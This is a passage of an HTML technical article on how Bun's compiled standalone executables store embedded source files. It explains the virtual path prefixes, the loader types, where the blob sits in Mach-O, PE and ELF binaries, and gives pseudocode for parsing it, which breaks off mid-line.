&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;pub&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; CompiledModuleGraphFile &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; struct&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Schema&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;StringPointer &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;{}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // virtual path (e.g. "/$bunfs/root/index.js")&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; contents&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Schema&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;StringPointer &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;{}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // bundled JS/TS output&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; sourcemap&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Schema&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;StringPointer &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;{}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // serialized sourcemap (optional)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; bytecode&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Schema&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;StringPointer &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;{}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // precompiled bytecode (optional)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; encoding&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Encoding &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;latin1&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // .binary, .latin1, or .utf8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; loader&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; bun&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;options&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Loader &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;file&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // file type&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; module_format&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; ModuleFormat &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;none&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // .none, .esm, or .cjs&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; side&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; FileSide &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;server&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // .server or .client&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Each entry describes one embedded file. The &lt;code&gt;name&lt;/code&gt; field contains the virtual path that Bun uses internally to reference the file.&lt;/p&gt;
&lt;h3 id="virtual-paths"&gt;Virtual Paths&lt;a class="heading-anchor" href="#virtual-paths" aria-label="Link to Virtual Paths"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bun doesn&amp;rsquo;t store your original filesystem paths directly. Instead, it prefixes everything with a virtual filesystem root:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;POSIX&lt;/strong&gt;: &lt;code&gt;/$bunfs/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows&lt;/strong&gt;: &lt;code&gt;B:\~BUN\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So if you compiled &lt;code&gt;src/index.ts&lt;/code&gt;, the embedded name might be &lt;code&gt;/$bunfs/root/src/index.js&lt;/code&gt;. This prefix is defined in &lt;code&gt;StandaloneModuleGraph.zig&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="zig"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;pub&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; base_path &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; switch&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; (Environment&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;os) {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; else&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; =&gt;&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; "/$bunfs/"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;windows &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&gt;&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; "B:\\~BUN\\"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="loader-types"&gt;Loader Types&lt;a class="heading-anchor" href="#loader-types" aria-label="Link to Loader Types"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;loader&lt;/code&gt; field indicates what kind of file this is:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Loader&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;jsx&lt;/td&gt;
&lt;td&gt;JSX file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;js&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;ts&lt;/td&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;tsx&lt;/td&gt;
&lt;td&gt;TSX file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;css&lt;/td&gt;
&lt;td&gt;CSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;file&lt;/td&gt;
&lt;td&gt;Binary asset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;json&lt;/td&gt;
&lt;td&gt;JSON&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;jsonc&lt;/td&gt;
&lt;td&gt;JSON with comments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;toml&lt;/td&gt;
&lt;td&gt;TOML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;wasm&lt;/td&gt;
&lt;td&gt;WebAssembly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;napi&lt;/td&gt;
&lt;td&gt;Native addon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;hellip;&lt;/td&gt;
&lt;td&gt;&amp;hellip;&lt;/td&gt;
&lt;td&gt;(and more)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For JS/TS files, &lt;code&gt;contents&lt;/code&gt; holds the bundled output. For assets (loader = &lt;code&gt;file&lt;/code&gt;), it&amp;rsquo;s the raw bytes.&lt;/p&gt;
&lt;h2 id="where-the-blob-lives"&gt;Where the Blob Lives&lt;a class="heading-anchor" href="#where-the-blob-lives" aria-label="Link to Where the Blob Lives"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bun stores the blob differently on each platform.&lt;/p&gt;
&lt;h3 id="mach-o-macos"&gt;Mach-O (macOS)&lt;a class="heading-anchor" href="#mach-o-macos" aria-label="Link to Mach-O (macOS)"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The blob lives in a dedicated section:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Segment&lt;/strong&gt;: &lt;code&gt;__BUN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Section&lt;/strong&gt;: &lt;code&gt;__bun&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The section starts with an 8-byte size prefix (&lt;code&gt;uint64_t&lt;/code&gt;), followed by the blob data (from &lt;a href="https://github.com/oven-sh/bun/blob/main/src/bun.js/bindings/c-bindings.cpp" target="_blank" rel="noopener noreferrer"&gt;&lt;code&gt;c-bindings.cpp&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;struct&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; BlobHeader&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; uint64_t&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; size&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt; uint8_t&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; data[]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;extern&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;C&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; BlobHeader&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; __attribute__&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;((&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;section&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;__BUN,__bun&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)))&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; BUN_COMPILED &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To extract: read the &lt;code&gt;__BUN,__bun&lt;/code&gt; section, skip the size prefix, then read &lt;code&gt;size&lt;/code&gt; bytes of blob data.&lt;/p&gt;
&lt;p&gt;The size prefix changed between Bun versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bun &amp;lt; 1.3.4&lt;/strong&gt;: 4-byte &lt;code&gt;u32&lt;/code&gt; size prefix&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bun &amp;gt;= 1.3.4&lt;/strong&gt;: 8-byte &lt;code&gt;u64&lt;/code&gt; size prefix (changed in &lt;a href="https://github.com/oven-sh/bun/pull/25377" target="_blank" rel="noopener noreferrer"&gt;#25377&lt;/a&gt; for bytecode alignment)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&amp;rsquo;re writing an extractor, you&amp;rsquo;ll need to handle both formats or detect which you&amp;rsquo;re dealing with.&lt;/p&gt;
&lt;h3 id="pe-windows"&gt;PE (Windows)&lt;a class="heading-anchor" href="#pe-windows" aria-label="Link to PE (Windows)"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The blob lives in a section named &lt;code&gt;.bun&lt;/code&gt;. Same format as Mach-O: size prefix followed by blob data. Same version split applies (4-byte before Bun 1.3.4, 8-byte after).&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; src/bun.js/bindings/c-bindings.cpp&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;pe_section_size &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; (&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt;uint64_t&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*)&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;sectionData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;pe_section_data &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; sectionData &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; sizeof(&lt;/span&gt;&lt;span style="color:#78DCE8;font-weight:600"&gt;uint64_t&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="elf-linux"&gt;ELF (Linux)&lt;a class="heading-anchor" href="#elf-linux" aria-label="Link to ELF (Linux)"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;ELF is different. The blob is appended to the end of the file (not in a named section). Bun scans backwards from EOF looking for the trailer:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="zig"&gt;&lt;span class="line"&gt;&lt;span style="color:#949494;font-style:italic"&gt;// src/StandaloneModuleGraph.zig&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;std&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;posix&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;lseek_END&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(self_exe&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;cast&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;()&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; -&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;4096&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;) &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;catch&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; null&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#949494;font-style:italic"&gt;// ... scan for trailer ...&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;var&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; end &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; @as&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;([]&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;u8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x26;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;trailer_bytes)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ptr &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; read_amount &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;-&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; @sizeOf&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;usize&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; total_byte_count&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; usize&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; =&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; @as&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;usize&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; @bitCast&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(end[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;..&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;8&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;))&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The last 8 bytes before the trailer contain the total byte count. Work backwards from there to find the &lt;code&gt;Offsets&lt;/code&gt; struct and module data.&lt;/p&gt;
&lt;h2 id="parsing-the-blob"&gt;Parsing the Blob&lt;a class="heading-anchor" href="#parsing-the-blob" aria-label="Link to Parsing the Blob"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;1. Find the trailer ("\n---- Bun! ----\n") at the end&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;2. Read the 32 bytes before it as Offsets&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;3. Use modules_ptr to locate the module array&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;4. Iterate CompiledModuleGraphFile[], slicing out name/contents/sourcemap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Pseudocode:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="python"&gt;&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;TRAILER &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; b&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;\n---- Bun! ----\n&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;def&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; parse_blob&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; bytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Validate trailer&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; assert&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[-&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;16&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:]&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; ==&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; TRAILER&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Parse Offsets (32 bytes before trailer)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; offsets_bytes &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[-&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;16&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; -&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 32&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; :&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; -&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;16&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; byte_count &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; struct&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;unpack&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;&amp;#x3C;Q&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; offsets_bytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;])[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; modules_offset &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; struct&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;unpack&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;&amp;#x3C;I&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; offsets_bytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;12&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;])[&lt;/span&gt;&lt;span 